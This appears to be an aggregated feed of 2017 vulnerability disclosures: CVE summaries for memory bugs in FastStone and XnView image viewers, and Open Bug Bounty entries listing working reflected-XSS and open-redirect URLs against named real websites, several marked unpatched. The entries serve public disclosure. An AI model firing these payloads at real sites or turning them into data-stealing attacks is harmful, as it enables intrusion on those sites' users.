CVE-2017-8785: Improper Restriction of Operations within the Bounds of a Memory Buffer

FastStone Image Viewer 6.2 has a "Data from Faulting Address may be used as a return value" issue. This issue can be triggered by a malformed JPEG 2000 file that is mishandled by FSViewer.exe. Attackers could exploit this issue for DoS Access Violation or possibly unspecified other impact...

CVE-2017-10781: Improper Restriction of Operations within the Bounds of a Memory Buffer

XnView Classic for Windows Version 2.40 might allow attackers to cause a denial of service or possibly have unspecified other impact via a crafted .rle file, related to "Data from Faulting Address controls Branch Selection starting at ntdll77df0000!LdrpFindLoadedDllByName+0x00000000000000a5."...

CVE-2017-10767: Improper Restriction of Operations within the Bounds of a Memory Buffer

XnView Classic for Windows Version 2.40 might allow attackers to cause a denial of service or possibly have unspecified other impact via a crafted .rle file, related to "Data from Faulting Address controls Branch Selection starting at KERNELBASE!StateObjectListFind+0x0000000000000005."...

CVE-2017-10769: Improper Restriction of Operations within the Bounds of a Memory Buffer

XnView Classic for Windows Version 2.40 might allow attackers to cause a denial of service or possibly have unspecified other impact via a crafted .rle file, related to "Data from Faulting Address controls Branch Selection starting at ntdll77df0000!memcmp+0x0000000000000018" without RPC...

sarbacane.com XSS vulnerability

Vulnerable URL: https://www.sarbacane.com/login.asp?prov=9%22%3E%3Csvg/onload=promptdocument.domain%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 09.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 209317 VIP website status:| Ye...

hostelworld.com XSS vulnerability

Vulnerable URL: http://www.hostelworld.com/find/keywordsuggestions?AgeRanges=a%27aa%22%22%3E%3C/title%3E%3C/script%3E%3Csvg/onload=prompt/OPENBUGBOUNTY/%3Efrom=to=keywords= Details: Description| Value ---|--- Patched:| No Latest check for patch:| 26.09.2017 Vulnerability type:| XSS Vulnerability...

a-land.co.kr XSS vulnerability

Vulnerable URL: http://a-land.co.kr/shop/search.php?searchtext=%3C%2Fscript%3E%3Cimg+src%3Dx+onerror%3Dprompt%28%2FXSSPOSED%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank|...

clickfiel.pt Open Redirect vulnerability

Vulnerable URL: https://clickfiel.pt/banner.php?id=31=https://www.openbugbounty.org/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 16.08.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| 588490 VIP website status:| No Check...

a-pay.biz XSS vulnerability

Vulnerable URL: https://www.a-pay.biz/login.php?out=t=1"...

motopartalert.com XSS vulnerability

Open Bug Bounty ID: OBB-258415 Description| Value ---|--- Affected Website:| motopartalert.com Open Bug Bounty Program:| Create your bounty program now. It's open and free. Vulnerable Application:| Custom Code Vulnerability Type:| XSS Cross Site Scripting / CWE-79 CVSSv3 Score:| 6.1...

alle-immobilien.ch XSS vulnerability

Vulnerable URL: https://www.alle-immobilien.ch/de/mieten/volltext-%3E/'%3E/%22%3Et%3Ci%3Ep%3Cimg+src%3Dx+onerror%3Dprompt%60openbugbounty%60%3E/ Details: Description| Value ---|--- Patched:| No Latest check for patch:| 01.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

jonathanwaters.co.uk XSS vulnerability

Vulnerable URL: http://www.jonathanwaters.co.uk/achieving-the-maximum-price-for-your-property/'-alert'OPENBUGBOUNTY'-' Details: Description| Value ---|--- Patched:| No Latest check for patch:| 15.08.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4937162 VIP...

mtest.clubcarlson.com XSS vulnerability

Vulnerable URL: https://mtest.clubcarlson.com/mweb/languageSelector.do/"'--! Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check mtest.clubcarlson.com SSL...

phandroid.com XSS vulnerability

Vulnerable URL: http://phandroid.com/?s=a%27aa%22%22%3E%3C%2Ftitle%3E%3C%2Fscript%3E%3Csvg%2Fonload%3Dprompt%28%2FOPENBUGBOUNTY%2F%29%3E=process Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 22781 VIP website...

wienmodern.at XSS vulnerability

Vulnerable URL: http://wienmodern.at/Home/Search-Results?Search=%22%3E%27%3EI%3Ci%3EI%3Csvg/onload=alert/openbugbounty/%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 19.09.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 4995670 VI...

bancamediolanum.it XSS vulnerability

Vulnerable URL: https://www.bancamediolanum.it/ricerca?q=9%2799999"%20onmouseover="prompt%27OPENBUGBOUNTY%27"=prodotti Details: Description| Value ---|--- Patched:| Yes, at 05.07.2017 Latest check for patch:| 05.07.2017 15:49 GMT Vulnerability type:| XSS Vulnerability status:| Publicly disclosed...

secure.bosch-home.co.uk XSS vulnerability

Vulnerable URL: https://secure.bosch-home.co.uk/search-result?search=%22,4,alertOPENBUGBOUNTY,%22 Details: Description| Value ---|--- Patched:| Yes, at Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status:| No Check...

estrenos10.com XSS vulnerability

Vulnerable URL: http://estrenos10.com/buscar/resultados?q=%3Cimg%20src=x%20onerror=alert%22XSS%22%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 31.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alexa Rank| 26809 VIP website status:| Yes...

m.tsfl.com Open Redirect vulnerability

Vulnerable URL: http://m.tsfl.com/mt/stopmobi?url=https://www.openbugbounty.org Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| Open Redirect Vulnerability status:| Publicly disclosed Alexa Rank| Unknown / Not calculated VIP website status...

bkk-mobil-oil.de XSS vulnerability

Vulnerable URL: https://www.bkk-mobil-oil.de/meta/suche.html?queryStr=%22%2F%3E%27%3E%22%3EI%3Ci%3EI%3Csvg%2Fonload%3Dalert%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| Yes, at 17.07.2017 Latest check for patch:| 17.07.2017 17:47 GMT Vulnerability type:| XSS...